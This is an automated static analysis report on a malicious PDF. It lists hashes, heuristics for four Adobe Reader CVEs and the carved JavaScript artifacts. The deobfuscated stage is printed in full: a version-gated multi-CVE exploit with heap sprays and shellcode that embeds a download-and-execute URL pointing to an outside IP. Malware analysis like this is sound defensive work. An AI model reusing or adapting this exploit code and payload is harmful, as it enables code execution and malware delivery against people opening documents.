Malicious PDF — malware analysis report

Static analysis result for SHA-256 6592a02190e25789…

MALICIOUS

PDF

105.9 KB
MD5: 630ef06a6b96354b5d347db31c623142 SHA-1: b933bea1302f55c469982cbdef0eda86f1dd5cac SHA-256: 6592a02190e25789d9877afaddab7f788a3e5a782c730c4d2a6db8d84b8fba61
610 Risk Score

Malware Insights

MITRE ATT&CK
T1203 Exploitation for Client Execution T1059.007 JavaScript

The PDF file contains obfuscated JavaScript that exploits multiple known vulnerabilities in Adobe Reader (CVE-2009-4324, CVE-2009-0927, CVE-2007-5659, CVE-2008-2992). The deobfuscated script contains a URL that is likely used to download and execute a second-stage payload. The script's primary function is to facilitate the execution of arbitrary code by leveraging these vulnerabilities.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 13

  • media.newPlayer — CVE-2009-4324 critical CVE exact CVE_2009_4324
    PDF JavaScript calls media.newPlayer — CVE-2009-4324 is a use-after-free in Adobe Reader's multimedia plugin triggered by media.newPlayer(). Actively exploited as a zero-day in December 2009. (identified after JavaScript deobfuscation)
  • Collab.getIcon — CVE-2009-0927 critical CVE exact CVE_2009_0927
    PDF JavaScript calls Collab.getIcon — CVE-2009-0927 is a stack buffer overflow in Adobe Reader triggered by Collab.getIcon() with a crafted argument. Allows arbitrary code execution. (identified after JavaScript deobfuscation)
  • Collab.collectEmailInfo — CVE-2007-5659 critical CVE exact CVE_2007_5659
    PDF JavaScript calls Collab.collectEmailInfo — CVE-2007-5659 is a buffer overflow in Adobe Reader triggered by a long argument or heap-sprayed message field passed to Collab.collectEmailInfo(). Part of a series of Acrobat JS API exploits. (identified after JavaScript deobfuscation)
  • util.printf — CVE-2008-2992 critical CVE exact CVE_2008_2992
    PDF JavaScript calls util.printf() — CVE-2008-2992 is a stack buffer overflow in Adobe Reader triggered by a long format-specifier argument. Widely exploited in the wild after disclosure. (identified after JavaScript deobfuscation)
  • Pidief-style multi-CVE JavaScript dispatcher critical CVE likely PDF_PIDIEF_MULTI_CVE_DISPATCH
    A single JavaScript body branches on app.viewerVersion and invokes two or more of the canonical Reader sinks (Collab.collectEmailInfo, Collab.getIcon, util.printf with a field-width format string). This is the 2009-2010 Pidief.J multi-exploit landing template: a per-version dispatcher that fires the matching CVE chain for whichever Reader version opens the file.
  • ClamAV: Pdf.Exploit.Agent-36749 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Pdf.Exploit.Agent-36749
  • Multi-CVE Adobe Reader JavaScript exploit kit critical PDF_ADOBE_READER_MULTI_CVE_JS_KIT
    One recovered JavaScript stage contains multiple version-gated Adobe Reader exploit branches. This is stronger evidence than independent API keywords: the PDF is selecting old Reader vulnerabilities by viewer version and running heap-sprayed Acrobat JavaScript exploit paths.
  • JavaScript action low 3 related findings PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Character-table JavaScript eval stager high PDF_JS_CHAR_TABLE_EVAL_STAGER
    PDF JavaScript reconstructs an exploit stage by indexing into a small character table, appending hundreds of one-character fragments, joining the array, and evaluating the result. This static fallback fires only after the bounded decoder recovers an exploit-like stage, so it catches this obfuscation even when no single CVE API signature is available.
  • PDF JavaScript shellcode contains an embedded download URL high PDF_JS_SHELLCODE_DOWNLOAD_URL
    Decoded PDF JavaScript shellcode contains a hardcoded http(s) URL stored as little-endian %uXXXX Unicode escapes. Reader exploit shellcode embeds the second-stage fetch URL this way and pulls it down with a urlmon/URLDownloadToFile-style download-and-execute (commodity downloader behaviour rather than a specific Acrobat CVE).
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://188.138.28.175/w.php?f=267&e=3 Referenced by PDF JavaScript

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0076_000.js
d027615976254c95ffeb48933409ba20c8916ccd8126ee11f791de04d20d7718		 pdf-javascript-stream PDF /JS object 76 at offset 0x2C2 107523 bytes
Detection
ClamAV: Pdf.Exploit.Agent-36749
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
x='e3wgt';
t='hjkghjklhjkl';
e=t.indexOf;
c=
'%C{tlpb*=0:8U"GwNr}(3@c2j><6o+yEkx1]W&d-|Qei/[M7);_5" SmDgv.hnPVqz4KaIf9uA,s';
e=e('ghjkghj');
e=e.eval;
s=[];
x='z';
v="";
b=e;
n=c;
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... (truncated)
char_table_stage_000.js
24f5fe61efe7feb82e894a775751bdd171c873710a0b988459e2f845ff82fe0b		 deobfuscated-js char-table indexed JavaScript (PDF /JS object 76) at offset 0x2F1 3864 bytes
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 11 eval/decoder/string-building token(s). Carved artifact contains 1 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
if(e("1"))bjsg="%u8366%ufce4%u85fc%u75e4%ue934%u335f%u64c0%u408b%u8b30%u0c40%u708b%u561c%u768b%u3308%u66db%u5e8b%u033c%u3374%u812c%u15ee%uff10%ub8ff%u408b%uc330%u3946%u7506%u87fb%u2434%ue485%u5175%uebe9%u514c%u8b56%u3c75%u748b%u7835%uf503%u8b56%u2076%uf503%uc933%u4149%uadfc%uc503%udb33%ube0f%u3810%u74f2%uc108%u0dcb%uda03%ueb40%u3bf1%u751f%u5ee6%u5e8b%u0324%u66dd%u0c8b%u8d4b%uec46%u54ff%u0c24%ud88b%udd03%u048b%u038b%uabc5%u595e%uebc3%uad53%u688b%u8020%u0c7d%u7433%u9603%uf3eb%u688b%u8b08%u6af7%u5905%u98e8%uffff%ue2ff%ue8f9%u0000%u0000%u5058%u406a%uff68%u0000%u5000%uc083%u5019%u8b55%u8bec%u105e%uc383%uff05%u68e3%u6e6f%u0000%u7568%u6c72%u546d%u16ff%uc483%u8b08%ue8e8%uff61%uffff%u02eb%u72eb%uec81%u0104%u0000%u5c8d%u0c24%u04c7%u7224%u6765%uc773%u2444%u7604%u3372%uc732%u2444%u2008%u732d%u5320%uf868%u0000%uff00%u0c56%ue88b%uc933%uc751%u1d44%u7700%u6270%uc774%u1d44%u2e05%u6c64%uc66c%u1d44%u0009%u8a59%u04c1%u8830%u1d44%u4104%u6a51%u6a00%u5300%u6a57%uff00%u1456%uc085%u1675%u006a%uff53%u0456%u006a%ueb83%u530c%u56ff%u8304%u0cc3%u02eb%u13eb%u8047%u003f%ufa75%u8047%u003f%uc475%u006a%ufe6a%u56ff%ue808%ufe9c%uffff%u4e8e%uec0e%ufe98%u0e8a%u6f89%ubd01%uca33%u5b8a%uc61b%u7946%u1a36%u702f%u7468%u7074%u2f3a%u312f%u3838%u312e%u3833%u322e%u2e38%u3731%u2f35%u2e77%u6870%u3f70%u3d66%u3632%u2637%u3d65%u0033%u0000";function ezvr(ra,qy){while(ra.length*2<qy){ra+=ra;}ra=ra.substring(0,qy/2);return ra;} function bx(){var dkg=new Array();var vw=0x0c0c0c0c;var addr=0x400000;var payload=unescape(bjsg);var sc_len=payload.length*2;var qy=addr-(sc_len+0x38);var yarsp=unescape("%u9090%u9090");yarsp=ezvr(yarsp,qy);var count2=(vw-0x400000)/addr;for(var count=0;count<count2;count++){dkg[count]=yarsp+payload;} var overflow=unescape("%u0c0c%u0c0c");while(overflow.length<44952){overflow+=overflow;} this.collabStore=Collab.collectEmailInfo({subj:"",msg:overflow});} function printf(){nop=unescape("%u0A0A%u0A0A%u0A0A%u0A0A");var payload=unescape(bjsg);heapblock=nop+payload;bigblock=unescape("%u0A0A%u0A0A");headersize=20;spray=headersize+heapblock.length;while(bigblock.length<spray){bigblock+=bigblock;} fillblock=bigblock.substring(0,spray);block=bigblock.substring(0,bigblock.length-spray);while(block.length+spray<0x40000){block=block+block+fillblock;} mem=new Array();for(i=0;i<1400;i++){mem[i]=block+heapblock;} var num=12999999999999999999888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888;util.printf("%45000f",num);} function geticon(){var arry=new Array();if(app.doc.Collab.getIcon){var payload=unescape(bjsg);var hWq500CN=payload.length*2;var qy=0x400000-(hWq500CN+0x38);var yarsp=unescape("%u9090%u9090");yarsp=ezvr(yarsp,qy);var p5AjK65f=(0x0c0c0c0c-0x400000)/0x400000;for(var vqcQD96y=0;vqcQD96y<p5AjK65f;vqcQD96y++){arry[vqcQD96y]=yarsp+payload;} var tUMhNbGw=unescape("%09");while(tUMhNbGw.length<0x4000){tUMhNbGw+=tUMhNbGw;} tUMhNbGw="N."+tUMhNbGw;app.doc.Collab.getIcon(tUMhNbGw);}} aPlugins=app.plugIns;var sv=parseInt(app.viewerVersion.toString().charAt(0));for(var i=0;i<aPlugins.length;i++){if(aPlugins[i].name=="EScript"){var lv=aPlugins[i].version;}} if((lv==9)||((sv==8)&&(lv<=8.12))){geticon();}else if(lv==7.1){printf();}else if(((sv==6)||(sv==7))&&(lv<7.11)){bx();}else if((lv>=9.1)||(lv<=9.2)||(lv>=8.13)||(lv<=8.17)){function a(){util.printd("p@111111111111111111111111 : yyyy111",new Date());}var h=app.plugIns;for(var f=0;f<h.length;f++){if(h[f].name=="EScript"){var i=h[f].version;}} if((i>8.12)&&(i<8.2)){c=new Array();var d=unescape("%u9090%u9090");var e=unescape(bjsg);while(d.length<=0x8000){d+=d;}d=d.substr(0,0x8000-e.length);for(f=0;f<2900;f++){c[f]=d+e;}a();a();try{this.media.newPlayer(null);}catch(e){}a();}}

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